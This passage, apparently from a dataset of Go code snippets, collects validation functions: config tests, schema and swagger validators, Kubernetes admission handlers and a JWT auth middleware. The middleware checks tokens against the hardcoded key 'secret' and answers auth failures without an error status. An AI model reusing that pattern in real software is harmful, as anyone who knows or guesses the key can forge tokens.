Service {\\n\\t\\treturn &validationMiddleware{\\n\\t\\t\\tService: next,\\n\\t\\t}\\n\\t}\\n}\",\n \"func TestValidate1(t *testing.T) {\\n\\tendpoints := make(map[string]map[string]*Endpoint)\\n\\tendpoints[\\\"/test\\\"] = map[string]*Endpoint{\\n\\t\\t\\\"get\\\": {\\n\\t\\t\\tParams: &Parameters{\\n\\t\\t\\t\\tQuery: map[string]*ParamEntry{\\\"test\\\": {Type: \\\"string\\\", Required: true}},\\n\\t\\t\\t\\tPath: map[string]*ParamEntry{\\\"test\\\": {Type: \\\"boolean\\\", Required: true}},\\n\\t\\t\\t},\\n\\t\\t\\tRecieves: &Recieves{\\n\\t\\t\\t\\tHeaders: map[string]string{\\\"foo\\\": \\\"bar\\\"},\\n\\t\\t\\t\\tBody: map[string]string{\\\"example_array.0.foo\\\": \\\"string\\\"},\\n\\t\\t\\t},\\n\\t\\t\\tResponses: map[int]*Response{\\n\\t\\t\\t\\t200: {\\n\\t\\t\\t\\t\\tHeaders: map[string]string{\\\"foo\\\": \\\"bar\\\"},\\n\\t\\t\\t\\t\\tBody: map[string]interface{}{\\\"bar\\\": \\\"foo\\\"},\\n\\t\\t\\t\\t\\tWeight: 100,\\n\\t\\t\\t\\t\\tActions: []map[string]interface{}{\\n\\t\\t\\t\\t\\t\\t{\\\"delay\\\": 10},\\n\\t\\t\\t\\t\\t\\t{\\\"request\\\": map[interface{}]interface{}{\\\"target\\\": \\\"testService\\\", \\\"id\\\": \\\"testRequest\\\"}},\\n\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t\\tActions: []map[string]interface{}{\\n\\t\\t\\t\\t{\\\"delay\\\": 10},\\n\\t\\t\\t\\t{\\\"request\\\": map[interface{}]interface{}{\\\"target\\\": \\\"testService\\\", \\\"id\\\": \\\"testRequest\\\"}},\\n\\t\\t\\t},\\n\\t\\t},\\n\\t}\\n\\n\\tcfg := &Config{\\n\\t\\tVersion: 1.0,\\n\\t\\tServices: map[string]*Service{\\n\\t\\t\\t\\\"testService\\\": {Hostname: \\\"localhost\\\", Port: 8080},\\n\\t\\t},\\n\\t\\tStartupActions: []map[string]interface{}{\\n\\t\\t\\t{\\\"delay\\\": 10},\\n\\t\\t\\t{\\\"request\\\": map[interface{}]interface{}{\\\"target\\\": \\\"testService\\\", \\\"id\\\": \\\"testRequest\\\"}},\\n\\t\\t},\\n\\t\\tRequests: map[string]*Request{\\n\\t\\t\\t\\\"testRequest\\\": {\\n\\t\\t\\t\\tURL: \\\"/test\\\",\\n\\t\\t\\t\\tProtocol: \\\"http\\\",\\n\\t\\t\\t\\tMethod: \\\"get\\\",\\n\\t\\t\\t\\tHeaders: map[string]string{\\\"foo\\\": \\\"bar\\\"},\\n\\t\\t\\t\\tBody: nil,\\n\\t\\t\\t\\tExpectedResponse: &Response{\\n\\t\\t\\t\\t\\tStatusCode: 200,\\n\\t\\t\\t\\t\\tBody: map[string]interface{}{\\\"foo.bar\\\": \\\"string\\\"},\\n\\t\\t\\t\\t\\tHeaders: nil,\\n\\t\\t\\t\\t\\tWeight: 100,\\n\\t\\t\\t\\t\\tActions: []map[string]interface{}{\\n\\t\\t\\t\\t\\t\\t{\\\"delay\\\": 10},\\n\\t\\t\\t\\t\\t\\t{\\\"request\\\": map[interface{}]interface{}{\\\"target\\\": \\\"testService\\\", \\\"id\\\": \\\"testRequest\\\"}},\\n\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t},\\n\\t\\tEndpoints: endpoints,\\n\\t}\\n\\n\\tif err := Validate(cfg); err != nil {\\n\\t\\tt.Errorf(\\\"Validation Failed: %s\\\", err.Error())\\n\\t}\\n}\",\n \"func (mt *Vironapi) Validate() (err error) {\\n\\tif mt.Method == \\\"\\\" {\\n\\t\\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \\\"method\\\"))\\n\\t}\\n\\tif mt.Path == \\\"\\\" {\\n\\t\\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \\\"path\\\"))\\n\\t}\\n\\treturn\\n}\",\n \"func (s *Schema) validate(doc schema.JSONLoader) error {\\n\\tif s == nil || s.schema == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tdocErr, jsonErr := s.schema.Validate(doc)\\n\\tif jsonErr != nil {\\n\\t\\treturn errors.Wrap(jsonErr, \\\"failed to load JSON data for validation\\\")\\n\\t}\\n\\tif docErr.Valid() {\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn &Error{Result: docErr}\\n}\",\n \"func ValidateMiddleware(next http.HandlerFunc) http.HandlerFunc {\\n\\treturn http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {\\n\\t\\tauthorizationHeader := req.Header.Get(\\\"authorization\\\")\\n\\t\\tif authorizationHeader != \\\"\\\" {\\n\\t\\t\\tbearerToken := strings.Split(authorizationHeader, \\\" \\\")\\n\\t\\t\\tif len(bearerToken) == 2 {\\n\\t\\t\\t\\ttoken, error := jwt.Parse(bearerToken[1], func(token *jwt.Token) (interface{}, error) {\\n\\t\\t\\t\\t\\tif _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {\\n\\t\\t\\t\\t\\t\\treturn nil, fmt.Errorf(\\\"There was an error\\\")\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\treturn []byte(\\\"secret\\\"), nil\\n\\t\\t\\t\\t})\\n\\t\\t\\t\\tif error != nil {\\n\\t\\t\\t\\t\\tjson.NewEncoder(w).Encode(models.Exception{Message: error.Error()})\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif token.Valid {\\n\\t\\t\\t\\t\\tcontext.Set(req, \\\"decoded\\\", token.Claims)\\n\\n\\t\\t\\t\\t\\tnext(w, req)\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tjson.NewEncoder(w).Encode(models.Exception{Message: \\\"Invalid authorization token\\\"})\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tjson.NewEncoder(w).Encode(models.Exception{Message: \\\"An authorization header is required\\\"})\\n\\t\\t}\\n\\t})\\n}\",\n \"func validateLesson(lesson *models.Lesson) error {\\n\\n\\tfile := lesson.LessonFile\\n\\n\\t// Most of the validation heavy lifting should be done via JSON schema as much as possible.\\n\\t// This should be run first, and then only checks that can't be done with JSONschema will follow.\\n\\tif !lesson.JSValidate() {\\n\\t\\tlog.Errorf(\\\"Basic schema validation failed on %s - see log for errors.\\\", file)\\n\\t\\treturn errBasicValidation\\n\\t}\\n\\n\\tseenEndpoints := map[string]string{}\\n\\tfor n := range lesson.Endpoints {\\n\\t\\tep := lesson.Endpoints[n]\\n\\t\\tif _, ok := seenEndpoints[ep.Name]; ok {\\n\\t\\t\\tlog.Errorf(\\\"Failed to import %s: - Endpoint %s appears more than once\\\", file, ep.Name)\\n\\t\\t\\treturn errDuplicateEndpoint\\n\\t\\t}\\n\\t\\tseenEndpoints[ep.Name] = ep.Name\\n\\t}\\n\\n\\t// Endpoint-specific checks\\n\\tfor i := range lesson.Endpoints {\\n\\t\\tep := lesson.Endpoints[i]\\n\\n\\t\\t// TODO(mierdin): Check to ensure the referenced image has been imported. This will require DB access\\n\\t\\t// from this function.\\n\\n\\t\\t// Must EITHER provide additionalPorts, or Presentations. Endpoints without either are invalid.\\n\\t\\tif len(ep.Presentations) == 0 && len(ep.AdditionalPorts) == 0 {\\n\\t\\t\\tlog.Error(\\\"No presentations configured, and no additionalPorts specified\\\")\\n\\t\\t\\treturn errInsufficientPresentation\\n\\t\\t}\\n\\n\\t\\t// Perform configuration-related checks, if relevant\\n\\t\\tif ep.ConfigurationType != \\\"\\\" {\\n\\n\\t\\t\\t// Regular expressions for matching recognized config files by type\\n\\t\\t\\tfileMap := map[string]string{\\n\\t\\t\\t\\t\\\"python\\\": fmt.Sprintf(`.*%s\\\\.py`, ep.Name),\\n\\t\\t\\t\\t\\\"ansible\\\": fmt.Sprintf(`.*%s\\\\.yml`, ep.Name),\\n\\t\\t\\t\\t\\\"napalm\\\": fmt.Sprintf(`.*%s-(junos|eos|iosxr|nxos|nxos_ssh|ios)\\\\.txt$`, ep.Name),\\n\\t\\t\\t}\\n\\n\\t\\t\\tfor s := range lesson.Stages {\\n\\n\\t\\t\\t\\tconfigDir := fmt.Sprintf(\\\"%s/stage%d/configs/\\\", filepath.Dir(file), s)\\n\\t\\t\\t\\tconfigFile := \\\"\\\"\\n\\t\\t\\t\\terr := filepath.Walk(configDir, func(path string, info os.FileInfo, err error) error {\\n\\t\\t\\t\\t\\tvar validID = regexp.MustCompile(fileMap[ep.ConfigurationType])\\n\\t\\t\\t\\t\\tif validID.MatchString(path) {\\n\\t\\t\\t\\t\\t\\tconfigFile = filepath.Base(path)\\n\\t\\t\\t\\t\\t\\treturn nil\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\treturn nil\\n\\t\\t\\t\\t})\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tlog.Error(err)\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif configFile == \\\"\\\" || configFile == \\\".\\\" {\\n\\t\\t\\t\\t\\tlog.Errorf(\\\"Configuration file for endpoint '%s' was not found.\\\", ep.Name)\\n\\t\\t\\t\\t\\treturn errMissingConfigurationFile\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tlesson.Endpoints[i].ConfigurationFile = configFile\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t// Ensure each presentation name is unique for each endpoint\\n\\t\\tseenPresentations := map[string]string{}\\n\\t\\tfor n := range ep.Presentations {\\n\\t\\t\\tif _, ok := seenPresentations[ep.Presentations[n].Name]; ok {\\n\\t\\t\\t\\tlog.Errorf(\\\"Failed to import %s: - Presentation %s appears more than once for an endpoint\\\", file, ep.Presentations[n].Name)\\n\\t\\t\\t\\treturn errDuplicatePresentation\\n\\t\\t\\t}\\n\\t\\t\\tseenPresentations[ep.Presentations[n].Name] = ep.Presentations[n].Name\\n\\t\\t}\\n\\t}\\n\\n\\t// Ensure all connections are referring to endpoints that are actually present in the definition\\n\\tfor c := range lesson.Connections {\\n\\t\\tconnection := lesson.Connections[c]\\n\\n\\t\\tif !entityInLabDef(connection.A, lesson) {\\n\\t\\t\\tlog.Errorf(\\\"Failed to import %s: - Connection %s refers to nonexistent entity\\\", file, connection.A)\\n\\t\\t\\treturn errBadConnection\\n\\t\\t}\\n\\n\\t\\tif !entityInLabDef(connection.B, lesson) {\\n\\t\\t\\tlog.Errorf(\\\"Failed to import %s: - Connection %s refers to nonexistent entity\\\", file, connection.B)\\n\\t\\t\\treturn errBadConnection\\n\\t\\t}\\n\\t}\\n\\n\\t// Iterate over stages, and retrieve lesson guide content\\n\\tfor l := range lesson.Stages {\\n\\t\\ts := lesson.Stages[l]\\n\\n\\t\\tguideFileMap := map[string]string{\\n\\t\\t\\t\\\"markdown\\\": \\\".md\\\",\\n\\t\\t\\t\\\"jupyter\\\": \\\".ipynb\\\",\\n\\t\\t}\\n\\n\\t\\tfileName := fmt.Sprintf(\\\"%s/stage%d/guide%s\\\", filepath.Dir(file), l, guideFileMap[string(s.GuideType)])\\n\\t\\tcontents, err := ioutil.ReadFile(fileName)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Errorf(\\\"Encountered problem reading lesson guide: %s\\\", err)\\n\\t\\t\\treturn errMissingLessonGuide\\n\\t\\t}\\n\\t\\tlesson.Stages[l].GuideContents = string(contents)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (v *ValidatingAdmission) Handle(ctx context.Context, req admission.Request) admission.Response {\\n\\tconfiguration := &configv1alpha1.ResourceExploringWebhookConfiguration{}\\n\\n\\terr := v.decoder.Decode(req, configuration)\\n\\tif err != nil {\\n\\t\\treturn admission.Errored(http.StatusBadRequest, err)\\n\\t}\\n\\tklog.V(2).Infof(\\\"Validating ResourceExploringWebhookConfiguration(%s) for request: %s\\\", configuration.Name, req.Operation)\\n\\n\\tvar allErrors field.ErrorList\\n\\thookNames := sets.NewString()\\n\\tfor i, hook := range configuration.Webhooks {\\n\\t\\tallErrors = append(allErrors, validateWebhook(&configuration.Webhooks[i], field.NewPath(\\\"webhooks\\\").Index(i))...)\\n\\t\\tif hookNames.Has(hook.Name) {\\n\\t\\t\\tallErrors = append(allErrors, field.Duplicate(field.NewPath(\\\"webhooks\\\").Index(i).Child(\\\"name\\\"), hook.Name))\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\thookNames.Insert(hook.Name)\\n\\t}\\n\\n\\tif len(allErrors) != 0 {\\n\\t\\tklog.Error(allErrors.ToAggregate())\\n\\t\\treturn admission.Denied(allErrors.ToAggregate().Error())\\n\\t}\\n\\n\\treturn admission.Allowed(\\\"\\\")\\n}\",\n \"func (r *RouteSpec) Validate(ctx context.Context) (errs *apis.FieldError) {\\n\\tif r.AppName == \\\"\\\" {\\n\\t\\terrs = errs.Also(apis.ErrMissingField(\\\"appName\\\"))\\n\\t}\\n\\n\\treturn errs.Also(r.RouteSpecFields.Validate(ctx).ViaField(\\\"routeSpecFields\\\"))\\n}\",\n \"func TestCmd_Validate_Issue1171(t *testing.T) {\\n\\tlog.SetOutput(io.Discard)\\n\\tdefer log.SetOutput(os.Stdout)\\n\\tv := ValidateSpec{}\\n\\tbase := filepath.FromSlash(\\\"../../../\\\")\\n\\tspecDoc := filepath.Join(base, \\\"fixtures\\\", \\\"bugs\\\", \\\"1171\\\", \\\"swagger.yaml\\\")\\n\\tresult := v.Execute([]string{specDoc})\\n\\tassert.Error(t, result)\\n}\",\n \"func AnalyzeSwagger(document *loads.Document, filter string, ignoreResourceVersion bool) (*stats.Coverage, error) {\\n\\tcoverage := stats.Coverage{\\n\\t\\tEndpoints: make(map[string]map[string]*stats.Endpoint),\\n\\t}\\n\\n\\tfor _, mp := range document.Analyzer.OperationMethodPaths() {\\n\\t\\tv := strings.Split(mp, \\\" \\\")\\n\\t\\tif len(v) != 2 {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Invalid method:path pair '%s'\\\", mp)\\n\\t\\t}\\n\\t\\tmethod, path := strings.ToLower(v[0]), strings.ToLower(v[1])\\n\\t\\tparams := document.Analyzer.ParamsFor(method, path)\\n\\n\\t\\t// adjust name and namespace to simple format instead of copying regex from the swagger\\n\\t\\tre := regexp.MustCompile(`{(namespace|name):\\\\[a-z0-9\\\\]\\\\[a-z0-9\\\\\\\\-\\\\]\\\\*}`)\\n\\t\\tpath = re.ReplaceAllString(path, \\\"{$1}\\\")\\n\\n\\t\\tif ignoreResourceVersion {\\n\\t\\t\\ts := strings.Split(path, \\\"/\\\")\\n\\t\\t\\tif len(s) >= 4 && s[3] != \\\"\\\" {\\n\\t\\t\\t\\ts[3] = \\\"*\\\"\\n\\t\\t\\t}\\n\\t\\t\\tpath = strings.Join(s, \\\"/\\\")\\n\\t\\t}\\n\\n\\t\\t// filter requests uri\\n\\t\\tif !strings.HasPrefix(path, filter) {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tif _, ok := coverage.Endpoints[path]; !ok {\\n\\t\\t\\tcoverage.Endpoints[path] = make(map[string]*stats.Endpoint)\\n\\t\\t}\\n\\n\\t\\tif _, ok := coverage.Endpoints[path][method]; !ok {\\n\\t\\t\\tcoverage.Endpoints[path][method] = &stats.Endpoint{\\n\\t\\t\\t\\tParams: stats.Params{\\n\\t\\t\\t\\t\\tQuery: stats.NewTrie(),\\n\\t\\t\\t\\t\\tBody: stats.NewTrie(),\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\tPath: path,\\n\\t\\t\\t\\tMethod: method,\\n\\t\\t\\t\\tExpectedUniqueHits: 1, // count endpoint calls\\n\\t\\t\\t}\\n\\t\\t\\tcoverage.ExpectedUniqueHits++\\n\\t\\t}\\n\\n\\t\\taddSwaggerParams(coverage.Endpoints[path][method], params, document.Spec().Definitions)\\n\\t}\\n\\n\\t// caclulate number of expected unique hits\\n\\tfor path, method := range coverage.Endpoints {\\n\\t\\tfor name, endpoint := range method {\\n\\t\\t\\texpectedUniqueHits := endpoint.Params.Body.ExpectedUniqueHits + endpoint.Params.Query.ExpectedUniqueHits\\n\\t\\t\\tcoverage.ExpectedUniqueHits += expectedUniqueHits\\n\\t\\t\\tcoverage.Endpoints[path][name].ExpectedUniqueHits += expectedUniqueHits\\n\\t\\t}\\n\\t}\\n\\n\\treturn &coverage, nil\\n}\",\n \"func (o *DocumentUpdateNotFoundBody) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\t// validation for a type composition with models.Error404Data\\n\\tif err := o.Error404Data.Validate(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func validateSchema(report Report, json []byte, schemaConfig SchemaConfig) Report {\\n\\tv, err := validator.New(schemaConfig.Locations, schemaConfig.ValidatorOpts)\\n\\tif err != nil {\\n\\t\\treport.Message += fmt.Sprintf(\\\"failed initializing validator: %s\\\", err)\\n\\t\\treturn report\\n\\t}\\n\\n\\tf := io.NopCloser(bytes.NewReader(json))\\n\\tfor _, res := range v.Validate(report.FileName, f) {\\n\\t\\t// A file might contain multiple resources\\n\\t\\t// File starts with ---, the parser assumes a first empty resource\\n\\t\\tif res.Status == validator.Invalid {\\n\\t\\t\\treport.Message += res.Err.Error() + \\\"\\\\n\\\"\\n\\t\\t}\\n\\t\\tif res.Status == validator.Error {\\n\\t\\t\\treport.Message += res.Err.Error()\\n\\t\\t}\\n\\t}\\n\\n\\treturn report\\n}\",\n \"func (v *Validator) Handle(ctx context.Context, req types.Request) types.Response {\\n\\tboshDeployment := &bdv1.BOSHDeployment{}\\n\\n\\terr := v.decoder.Decode(req, boshDeployment)\\n\\tif err != nil {\\n\\t\\treturn types.Response{}\\n\\t}\\n\\n\\tlog.Debug(ctx, \\\"Resolving manifest\\\")\\n\\tresolver := bdm.NewResolver(v.client, func() bdm.Interpolator { return bdm.NewInterpolator() })\\n\\n\\tfor _, opsItem := range boshDeployment.Spec.Ops {\\n\\t\\tresourceExist, msg := v.OpsResourceExist(ctx, opsItem, boshDeployment.Namespace)\\n\\t\\tif !resourceExist {\\n\\t\\t\\treturn types.Response{\\n\\t\\t\\t\\tResponse: &v1beta1.AdmissionResponse{\\n\\t\\t\\t\\t\\tAllowed: false,\\n\\t\\t\\t\\t\\tResult: &metav1.Status{\\n\\t\\t\\t\\t\\t\\tMessage: msg,\\n\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t},\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t_, err = resolver.WithOpsManifest(boshDeployment, boshDeployment.GetNamespace())\\n\\tif err != nil {\\n\\t\\treturn types.Response{\\n\\t\\t\\tResponse: &v1beta1.AdmissionResponse{\\n\\t\\t\\t\\tAllowed: false,\\n\\t\\t\\t\\tResult: &metav1.Status{\\n\\t\\t\\t\\t\\tMessage: fmt.Sprintf(\\\"Failed to resolve manifest: %s\\\", err.Error()),\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t}\\n\\t}\\n\\n\\treturn types.Response{\\n\\t\\tResponse: &v1beta1.AdmissionResponse{\\n\\t\\t\\tAllowed: true,\\n\\t\\t},\\n\\t}\\n}\",\n \"func (r *ListFilesRequest) Validate() error {\\n\\tif err := requireProject(r.GetProject()); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err := requireCommittish(\\\"committish\\\", r.GetCommittish()); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif strings.HasSuffix(r.GetCommittish(), \\\"/\\\") {\\n\\t\\treturn errors.New(\\\"committish must not end with /\\\")\\n\\t}\\n\\tif strings.HasPrefix(r.Path, \\\"/\\\") {\\n\\t\\treturn errors.New(\\\"path must not start with /\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *Server) validate() grpc.UnaryServerInterceptor {\\n\\treturn func(ctx context.Context, req interface{}, args *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (resp interface{}, err error) {\\n\\t\\tif err = validate.Struct(req); err != nil {\\n\\t\\t\\terr = ecode.Error(ecode.RequestErr, err.Error())\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tresp, err = handler(ctx, req)\\n\\t\\treturn\\n\\t}\\n}\",\n \"func (h *Handler) Validate() error {\\n\\treturn nil\\n}\",\n \"func (o *WeaviateAPI) Validate() error {\\n\\tvar unregistered []string\\n\\n\\tif o.JSONConsumer == nil {\\n\\t\\tunregistered = append(unregistered, \\\"JSONConsumer\\\")\\n\\t}\\n\\tif o.YamlConsumer == nil {\\n\\t\\tunregistered = append(unregistered, \\\"YamlConsumer\\\")\\n\\t}\\n\\n\\tif o.JSONProducer == nil {\\n\\t\\tunregistered = append(unregistered, \\\"JSONProducer\\\")\\n\\t}\\n\\n\\tif o.OidcAuth == nil {\\n\\t\\tunregistered = append(unregistered, \\\"OidcAuth\\\")\\n\\t}\\n\\n\\tif o.WellKnownGetWellKnownOpenidConfigurationHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"well_known.GetWellKnownOpenidConfigurationHandler\\\")\\n\\t}\\n\\tif o.BackupsBackupsCreateHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"backups.BackupsCreateHandler\\\")\\n\\t}\\n\\tif o.BackupsBackupsCreateStatusHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"backups.BackupsCreateStatusHandler\\\")\\n\\t}\\n\\tif o.BackupsBackupsRestoreHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"backups.BackupsRestoreHandler\\\")\\n\\t}\\n\\tif o.BackupsBackupsRestoreStatusHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"backups.BackupsRestoreStatusHandler\\\")\\n\\t}\\n\\tif o.BatchBatchObjectsCreateHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"batch.BatchObjectsCreateHandler\\\")\\n\\t}\\n\\tif o.BatchBatchObjectsDeleteHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"batch.BatchObjectsDeleteHandler\\\")\\n\\t}\\n\\tif o.BatchBatchReferencesCreateHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"batch.BatchReferencesCreateHandler\\\")\\n\\t}\\n\\tif o.ClassificationsClassificationsGetHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"classifications.ClassificationsGetHandler\\\")\\n\\t}\\n\\tif o.ClassificationsClassificationsPostHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"classifications.ClassificationsPostHandler\\\")\\n\\t}\\n\\tif o.GraphqlGraphqlBatchHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"graphql.GraphqlBatchHandler\\\")\\n\\t}\\n\\tif o.GraphqlGraphqlPostHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"graphql.GraphqlPostHandler\\\")\\n\\t}\\n\\tif o.MetaMetaGetHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"meta.MetaGetHandler\\\")\\n\\t}\\n\\tif o.NodesNodesGetHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"nodes.NodesGetHandler\\\")\\n\\t}\\n\\tif o.NodesNodesGetClassHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"nodes.NodesGetClassHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsClassDeleteHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsClassDeleteHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsClassGetHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsClassGetHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsClassHeadHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsClassHeadHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsClassPatchHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsClassPatchHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsClassPutHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsClassPutHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsClassReferencesCreateHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsClassReferencesCreateHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsClassReferencesDeleteHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsClassReferencesDeleteHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsClassReferencesPutHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsClassReferencesPutHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsCreateHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsCreateHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsDeleteHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsDeleteHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsGetHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsGetHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsHeadHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsHeadHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsListHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsListHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsPatchHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsPatchHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsReferencesCreateHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsReferencesCreateHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsReferencesDeleteHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsReferencesDeleteHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsReferencesUpdateHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsReferencesUpdateHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsUpdateHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsUpdateHandler\\\")\\n\\t}\\n\\tif o.ObjectsObjectsValidateHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"objects.ObjectsValidateHandler\\\")\\n\\t}\\n\\tif o.SchemaSchemaClusterStatusHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"schema.SchemaClusterStatusHandler\\\")\\n\\t}\\n\\tif o.SchemaSchemaDumpHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"schema.SchemaDumpHandler\\\")\\n\\t}\\n\\tif o.SchemaSchemaObjectsCreateHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"schema.SchemaObjectsCreateHandler\\\")\\n\\t}\\n\\tif o.SchemaSchemaObjectsDeleteHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"schema.SchemaObjectsDeleteHandler\\\")\\n\\t}\\n\\tif o.SchemaSchemaObjectsGetHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"schema.SchemaObjectsGetHandler\\\")\\n\\t}\\n\\tif o.SchemaSchemaObjectsPropertiesAddHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"schema.SchemaObjectsPropertiesAddHandler\\\")\\n\\t}\\n\\tif o.SchemaSchemaObjectsShardsGetHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"schema.SchemaObjectsShardsGetHandler\\\")\\n\\t}\\n\\tif o.SchemaSchemaObjectsShardsUpdateHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"schema.SchemaObjectsShardsUpdateHandler\\\")\\n\\t}\\n\\tif o.SchemaSchemaObjectsUpdateHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"schema.SchemaObjectsUpdateHandler\\\")\\n\\t}\\n\\tif o.SchemaTenantsCreateHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"schema.TenantsCreateHandler\\\")\\n\\t}\\n\\tif o.SchemaTenantsDeleteHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"schema.TenantsDeleteHandler\\\")\\n\\t}\\n\\tif o.SchemaTenantsGetHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"schema.TenantsGetHandler\\\")\\n\\t}\\n\\tif o.SchemaTenantsUpdateHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"schema.TenantsUpdateHandler\\\")\\n\\t}\\n\\tif o.WeaviateRootHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"WeaviateRootHandler\\\")\\n\\t}\\n\\tif o.WeaviateWellknownLivenessHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"WeaviateWellknownLivenessHandler\\\")\\n\\t}\\n\\tif o.WeaviateWellknownReadinessHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"WeaviateWellknownReadinessHandler\\\")\\n\\t}\\n\\n\\tif len(unregistered) > 0 {\\n\\t\\treturn fmt.Errorf(\\\"missing registration: %s\\\", strings.Join(unregistered, \\\", \\\"))\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (v Validator) Validate(ctx context.Context, def *Definition, config map[string]any) ValidateResult {\\n\\tvar result ValidateResult\\n\\n\\tconfigJSON, err := json.Marshal(config)\\n\\tif err != nil {\\n\\t\\tresult.errors = append(result.errors, 